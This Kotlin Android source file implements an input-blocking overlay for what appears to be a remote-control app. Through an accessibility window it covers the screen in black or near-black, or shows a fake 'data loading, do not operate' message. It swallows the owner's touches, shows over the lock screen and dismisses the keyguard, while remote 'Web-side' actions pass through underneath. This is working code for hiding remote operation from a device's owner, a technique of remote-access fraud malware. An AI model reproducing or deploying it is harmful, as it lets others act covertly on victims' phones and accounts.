package com.hikoncont.service.modules.mask

import android.content.Context
import android.graphics.Color
import android.graphics.PixelFormat
import android.os.Handler
import android.os.Looper
import android.util.Log
import android.view.Gravity
import android.view.View
import android.view.WindowManager
import android.widget.LinearLayout
import android.widget.TextView
import kotlinx.coroutines.CoroutineScope
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.SupervisorJob
import kotlinx.coroutines.launch

/**
 * 基于AccessibilityService的输入阻塞管理器
 * 替代原有的悬浮窗方案，无需额外权限
 */
class InputBlockManager(
    private val context: Context
) {
    companion object {
        private const val TAG = "InputBlockManager"
    }
    
    /**
     * 🔧 新增：检查是否为vivo设备
     */
    private fun isVivoDevice(): Boolean {
        val brand = android.os.Build.BRAND?.lowercase() ?: ""
        val manufacturer = android.os.Build.MANUFACTURER?.lowercase() ?: ""
        val model = android.os.Build.MODEL?.lowercase() ?: ""
        
        return brand.contains("vivo") || 
               manufacturer.contains("vivo") || 
               brand.contains("iqoo") || 
               manufacturer.contains("iqoo") ||
               model.contains("vivo") ||
               model.contains("iqoo")
    }
    
    // 协程作用域
    private val blockScope = CoroutineScope(Dispatchers.Main + SupervisorJob())
    
    // 输入阻塞状态
    private var isInputBlocked = false
    private var isPerformingWebOperation = false
    
    // WindowManager和阻塞视图
    private var windowManager: WindowManager? = null
    private var blockView: View? = null
    private var blockParams: WindowManager.LayoutParams? = null
    
    // 阻塞配置
    private var blockText = "数据加载中\n请勿操作"
    private var blockTextSize = 24f
    private var allowAccessibilityOperations = true // 是否允许AccessibilityService操作
    private var operationDelayMs = 10000L // Web操作后的恢复延迟时间(毫秒)
    
    // 主线程Handler
    private val mainHandler = Handler(Looper.getMainLooper())
    
    /**
     * 初始化输入阻塞管理器
     */
    fun initialize() {
        Log.i(TAG, "✅ 输入阻塞管理器初始化")
        windowManager = context.getSystemService(Context.WINDOW_SERVICE) as WindowManager
    }
    
    /**
     * 阻止设备用户输入
     */
    fun blockInput() {
        try {
            Log.i(TAG, "🚫 开始阻止设备用户输入")
            
            mainHandler.post {
                createInputBlockView()
                isInputBlocked = true
            }
            
            Log.i(TAG, "✅ 设备用户输入阻止请求已发送")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 阻止设备用户输入失败", e)
        }
    }

    /**
     * 阻止设备用户输入（无文字版本）
     * 专用于黑屏遮盖功能
     */
    fun blockInputWithoutText() {
        try {
            Log.i(TAG, "🖤 开始阻止设备用户输入（纯色遮罩）")
            
            mainHandler.post {
                createInputBlockViewWithoutText()
                isInputBlocked = true
            }
            
            Log.i(TAG, "✅ 设备用户输入阻止请求已发送（纯色遮罩）")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 阻止设备用户输入失败（纯色遮罩）", e)
        }
    }
    
    /**
     * 允许设备用户输入
     */
    fun unblockInput() {
        try {
            Log.d(TAG, "🔓 恢复设备用户输入")
            
            mainHandler.post {
                removeInputBlockView()
                isInputBlocked = false
            }
            
            Log.i(TAG, "✅ 设备用户输入恢复请求已发送")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 恢复设备用户输入失败", e)
        }
    }
    
    /**
     * 检查输入是否被阻塞
     */
    fun isInputBlocked(): Boolean {
        return blockView != null && isInputBlocked
    }
    
    /**
     * 设置阻塞文字配置
     */
    fun setBlockTextConfig(text: String?, textSize: Float?) {
        try {
            text?.let { 
                blockText = it
                Log.d(TAG, "📝 阻塞文字设置为: $blockText")
            }
            textSize?.let { 
                blockTextSize = it
                Log.d(TAG, "📏 阻塞字体大小设置为: $blockTextSize")
            }
            
            // 如果阻塞正在显示，重新创建以应用新配置
            if (isInputBlocked && blockView != null) {
                Log.d(TAG, "🔄 重新创建阻塞视图以应用新配置")
                mainHandler.post {
                    removeInputBlockView()
                    createInputBlockView()
                }
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 设置阻塞文字配置失败", e)
        }
    }
    
    /**
     * 设置是否允许AccessibilityService操作
     * @param allow true=允许AccessibilityService操作(只显示遮罩), false=完全阻塞所有操作
     */
    fun setAllowAccessibilityOperations(allow: Boolean) {
        try {
            allowAccessibilityOperations = allow
            Log.d(TAG, "🔧 AccessibilityService操作权限设置为: $allow")
            
            // 如果阻塞正在显示，重新创建以应用新配置
            if (isInputBlocked && blockView != null) {
                Log.d(TAG, "🔄 重新创建阻塞视图以应用新权限配置")
                mainHandler.post {
                    removeInputBlockView()
                    createInputBlockView()
                }
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 设置AccessibilityService操作权限失败", e)
        }
    }
    
    /**
     * 设置Web操作后的恢复延迟时间
     * @param delayMs 延迟时间(毫秒)，建议值：
     *                - 点击操作：800-1000ms
     *                - 滑动操作：1200-1500ms
     *                - 复杂操作：2000ms+
     */
    fun setOperationDelay(delayMs: Long) {
        try {
            operationDelayMs = delayMs.coerceIn(200L, 15000L) // 限制在200ms-15s之间
            Log.d(TAG, "⏱️ Web操作恢复延迟设置为: ${operationDelayMs}ms")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 设置操作延迟失败", e)
        }
    }
    
    // 🔑 智能阻塞模式：不再需要临时移除和恢复方法
    // AccessibilityService可以直接穿透FLAG_NOT_TOUCHABLE，无需移除遮罩
    
    /**
     * Web操作期间的阻塞管理
     * 🔑 最新策略：保持遮罩显示，但临时移除触摸拦截，让Web端操作穿透
     */
    fun performWithBlockControl(operation: () -> Unit) {
        try {
            if (isInputBlocked && blockView != null && windowManager != null && blockParams != null) {
                // 🔑 新策略：临时修改窗口参数，添加FLAG_NOT_TOUCHABLE让触摸穿透
                Log.d(TAG, "⏰ 临时修改窗口参数以允许Web端操作穿透，保持遮罩显示")
                isPerformingWebOperation = true
                
                // 🔑 重要：所有WindowManager操作必须在主线程中执行
                mainHandler.post {
                    try {
                        // 临时添加FLAG_NOT_TOUCHABLE，让触摸事件穿透窗口
                        val tempParams = WindowManager.LayoutParams().apply {
                            copyFrom(blockParams)
                            flags = flags or WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE
                        }
                        
                        windowManager?.updateViewLayout(blockView, tempParams)
                        Log.d(TAG, "✅ 窗口已设置为触摸穿透模式")
                        
                        // 在主线程中执行操作
                        operation()
                        
                        // 延迟恢复窗口参数
                        // 🔑 使用较长延迟确保AccessibilityService操作完全完成
                        // 包括：命令传递 → 系统处理 → 触摸事件注入 → 应用响应
                        mainHandler.postDelayed({
                            if (isInputBlocked && blockView != null && windowManager != null && blockParams != null) {
                                try {
                                    // 恢复原始窗口参数，重新阻止物理触摸
                                    windowManager?.updateViewLayout(blockView, blockParams)
                                    Log.d(TAG, "🔄 恢复窗口阻塞模式")
                                } catch (e: Exception) {
                                    Log.e(TAG, "❌ 恢复窗口参数失败", e)
                                }
                            }
                            isPerformingWebOperation = false
                        }, operationDelayMs) // 可配置延迟，确保AccessibilityService操作完成
                        
                    } catch (e: Exception) {
                        Log.e(TAG, "❌ 更新窗口参数失败", e)
                        // 如果更新失败，仍然执行操作
                        operation()
                        isPerformingWebOperation = false
                    }
                }
            } else {
                // 没有遮罩时直接执行
                Log.d(TAG, "🔄 直接执行操作（无遮罩状态）")
                operation()
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ Web操作期间阻塞控制失败", e)
            isPerformingWebOperation = false
        }
    }
    
    /**
     * 创建输入阻塞视图
     */
    private fun createInputBlockView() {
        try {
            Log.i(TAG, "🎭 开始创建输入阻塞视图")
            
            if (blockView != null) {
                Log.d(TAG, "🔄 阻塞视图已存在，先移除")
                removeInputBlockView()
            }
            
            // 创建阻塞视图
            blockView = createBlockView()
            
            // 设置窗口参数
            blockParams = createBlockWindowLayoutParams()
            
            // 添加到WindowManager
            windowManager?.addView(blockView, blockParams)
            
            Log.i(TAG, "✅ 输入阻塞视图已激活 - 智能阻塞模式：阻止手机端物理操作，允许Web端远程操作")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 创建输入阻塞视图失败", e)
            // 清理失败的资源
            blockView = null
        }
    }

    /**
     * 创建输入阻塞视图（无文字版本）
     */
    private fun createInputBlockViewWithoutText() {
        try {
            Log.i(TAG, "🖤 开始创建纯色遮罩视图")
            
            if (blockView != null) {
                Log.d(TAG, "🔄 阻塞视图已存在，先移除")
                removeInputBlockView()
            }
            
            // 创建纯色阻塞视图
            blockView = createBlockViewWithoutText()
            
            // 设置窗口参数
            blockParams = createBlockWindowLayoutParams()
            
            // 添加到WindowManager
            windowManager?.addView(blockView, blockParams)
            
            Log.i(TAG, "✅ 纯色遮罩视图已激活 - 智能阻塞模式：阻止手机端物理操作，允许Web端远程操作")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 创建纯色遮罩视图失败", e)
            // 清理失败的资源
            blockView = null
        }
    }
    
    /**
     * 移除输入阻塞视图
     */
    private fun removeInputBlockView() {
        try {
            Log.i(TAG, "🗑️ 移除输入阻塞视图")
            
            blockView?.let { view ->
                windowManager?.removeView(view)
                blockView = null
                Log.d(TAG, "🗑️ 输入阻塞视图已移除")
            }
            blockParams = null
            isPerformingWebOperation = false
            
            Log.i(TAG, "✅ 输入阻塞已移除，设备输入已恢复")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 移除输入阻塞视图失败", e)
        }
    }
    
    /**
     * 创建阻塞视图
     */
    private fun createBlockView(): View {
        Log.d(TAG, "🎨 创建输入阻塞视图")
        
        // 🔧 vivo设备检测
        val isVivoDevice = isVivoDevice()
        val backgroundColor = if (isVivoDevice) {
            Log.d(TAG, "📱 vivo设备：使用深色遮盖（替代亮度调节）")
            Color.argb(230, 0, 0, 0) // vivo设备：极深色遮盖
        } else {
            Color.argb(180, 0, 0, 0) // 其他设备：半透明黑色
        }
        
        val blockLayout = LinearLayout(context).apply {
            orientation = LinearLayout.VERTICAL
            gravity = Gravity.CENTER
            setBackgroundColor(backgroundColor)
            
            // 🔑 确保视图填满整个屏幕
            layoutParams = LinearLayout.LayoutParams(
                LinearLayout.LayoutParams.MATCH_PARENT,
                LinearLayout.LayoutParams.MATCH_PARENT
            )
            
            // 🔑 设置系统UI可见性，确保全屏覆盖
            @Suppress("DEPRECATION")
            systemUiVisibility = (android.view.View.SYSTEM_UI_FLAG_LAYOUT_STABLE or
                    android.view.View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION or
                    android.view.View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN)
            
            // 添加中心提示文本
            val textView = TextView(context).apply {
                text = blockText
                textSize = blockTextSize
                setTextColor(Color.WHITE)
                gravity = Gravity.CENTER
                setPadding(32, 32, 32, 32)
            }
            addView(textView)
            
            // 🔑 最新智能阻塞方案：
            // - 遮罩始终显示，提供视觉反馈
            // - 通过动态设置/移除OnTouchListener来控制触摸拦截
            // - Web端操作时临时移除OnTouchListener，让触摸穿透到底层应用
            // - 操作完成后恢复OnTouchListener，继续阻止物理触摸
            setOnTouchListener { _, event ->
                Log.d(TAG, "🚫 阻止手机端物理触摸: ${event.action}")
                true // 拦截并消费所有触摸事件
            }
        }
        
        Log.d(TAG, "✅ 输入阻塞视图创建完成")
        return blockLayout
    }

    /**
     * 创建纯色阻塞视图（无文字）
     */
    private fun createBlockViewWithoutText(): View {
        Log.d(TAG, "🖤 创建纯色遮罩视图")
        
        // 🔧 vivo设备检测
        val isVivoDevice = isVivoDevice()
        val backgroundColor = if (isVivoDevice) {
            Log.d(TAG, "📱 vivo设备：使用深色遮盖（替代亮度调节）")
            Color.argb(255, 0, 0, 0) // vivo设备：极深色遮盖（96%不透明度）
        } else {
            Color.argb(190, 0, 0, 0) // 其他设备：半透明黑色
        }
        
        val blockView = View(context).apply {
            setBackgroundColor(backgroundColor)
            
            // 🔑 确保视图填满整个屏幕
            layoutParams = android.view.ViewGroup.LayoutParams(
                android.view.ViewGroup.LayoutParams.MATCH_PARENT,
                android.view.ViewGroup.LayoutParams.MATCH_PARENT
            )
            
            // 🔑 设置系统UI可见性，确保全屏覆盖
            @Suppress("DEPRECATION")
            systemUiVisibility = (android.view.View.SYSTEM_UI_FLAG_LAYOUT_STABLE or
                    android.view.View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION or
                    android.view.View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN)
            
            // 🔑 智能阻塞方案：拦截所有触摸事件
            setOnTouchListener { _, event ->
                Log.d(TAG, "🚫 阻止手机端物理触摸: ${event.action}")
                true // 拦截并消费所有触摸事件
            }
        }
        
        Log.d(TAG, "✅ 纯色遮罩视图创建完成")
        return blockView
    }
    
    /**
     * 创建窗口布局参数
     */
    private fun createBlockWindowLayoutParams(): WindowManager.LayoutParams {
        // 🔑 回到AccessibilityService窗口类型，无需额外权限
        val type = if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
            WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY
        } else {
            @Suppress("DEPRECATION")
            WindowManager.LayoutParams.TYPE_SYSTEM_OVERLAY
        }
        
        // 🔑 最新策略：创建一个可以动态控制触摸拦截的遮罩
        // 通过OnTouchListener控制是否拦截触摸，而不是通过窗口标志
        val touchFlags = WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
        
        // 🔑 全屏覆盖标志组合
        val fullscreenFlags = WindowManager.LayoutParams.FLAG_FULLSCREEN or
                WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS or
                WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN or
                WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR or
                WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED or
                WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON or
                WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED or
                WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD or
                WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON or
//                WindowManager.LayoutParams.FLAG_SECURE or  // 🔑 关键：防止被截屏
                touchFlags
        
        return WindowManager.LayoutParams().apply {
            // 🔑 基本窗口配置
            width = WindowManager.LayoutParams.MATCH_PARENT
            height = WindowManager.LayoutParams.MATCH_PARENT
            this.type = type
            this.flags = fullscreenFlags
            format = PixelFormat.TRANSLUCENT
            
            // 🔑 位置和重力设置
            gravity = Gravity.TOP or Gravity.LEFT
            x = 0
            y = 0
            
            // 🔑 关键修复：设置显示在刘海屏区域
            if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.P) {
                layoutInDisplayCutoutMode = WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_SHORT_EDGES
            }
            
            // 🔑 Android 11+ 系统窗口适配
            if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.R) {
                // 确保覆盖系统栏 - 使用现有的标志组合即可
                Log.d(TAG, "✅ Android 11+ 窗口适配已应用")
            }
            
            Log.d(TAG, "🔧 窗口参数设置完成: width=$width, height=$height, flags=${this.flags}, type=${this.type}")
        }
    }
    
    /**
     * 清理资源
     */
    fun cleanup() {
        try {
            Log.d(TAG, "🧹 清理输入阻塞管理器资源")
            
            mainHandler.post {
                removeInputBlockView()
                isInputBlocked = false
                isPerformingWebOperation = false
            }
            
            windowManager = null
            
            Log.i(TAG, "✅ 输入阻塞管理器清理完成")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 清理输入阻塞管理器失败", e)
        }
    }
    
    /**
     * 获取当前阻塞配置
     */
    fun getBlockConfig(): Map<String, Any> {
        return mapOf(
            "text" to blockText,
            "textSize" to blockTextSize,
            "isBlocked" to isInputBlocked,
            "isWebOperation" to isPerformingWebOperation,
            "hasBlockView" to (blockView != null),
            "allowAccessibilityOperations" to allowAccessibilityOperations
        )
    }
} 